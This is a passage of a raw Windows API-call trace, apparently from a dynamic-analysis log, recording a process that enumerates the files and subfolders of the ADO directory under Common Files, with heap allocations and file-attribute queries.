lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0065.254] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.254] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.256] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.256] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.257] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4040 [0065.258] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0065.258] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.259] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.260] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0065.260] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.261] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.262] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.263] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.264] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.267] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.267] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0065.269] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.270] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.270] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.271] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.272] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.273] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0065.273] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.274] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.275] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.276] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.277] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.278] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4060 [0065.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c5a0 [0065.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.282] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0065.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.291] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4080 [0065.292] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6d28 [0065.292] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.293] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0065.295] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.296] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.298] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.298] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.299] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb40a0 [0065.302] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6db0 [0065.304] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0xa00) returned 0xfb8d10 [0065.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfaa438) returned 1 [0065.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.307] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0065.308] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.308] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.309] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.311] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.312] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.313] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb40c0 [0065.314] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6e38 [0065.316] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.316] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0065.318] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.318] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.320] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.320] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.321] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb40e0 [0065.323] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6ec0 [0065.323] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.323] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0065.324] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.325] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.326] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.327] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4100 [0065.332] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6f48 [0065.333] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.333] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0065.334] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.336] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.336] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.337] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.338] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.339] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.339] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0065.340] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.341] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.342] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.344] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.345] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4120 [0065.346] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb6fd0 [0065.347] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.348] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0065.349] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.349] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.351] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.352] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.352] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.353] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.354] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0065.354] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.357] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.357] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.359] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.359] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.361] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0065.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.364] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.364] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.365] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.366] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.368] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4140 [0065.369] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7058 [0065.370] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.372] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0065.373] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.374] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.374] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.377] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.377] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.378] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.379] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0065.381] GetLastError () returned 0x12 [0065.382] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0065.429] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.431] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.434] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0065.435] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0065.436] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.437] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US" (normalized: "c:\\program files\\common files\\system\\ado\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.511] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb9718 [0065.511] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9718, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9718, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9718) returned 1 [0065.511] NtClose (Handle=0x148) returned 0x0 [0065.511] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb70e0 [0065.511] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7168 [0065.512] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0065.512] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.512] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 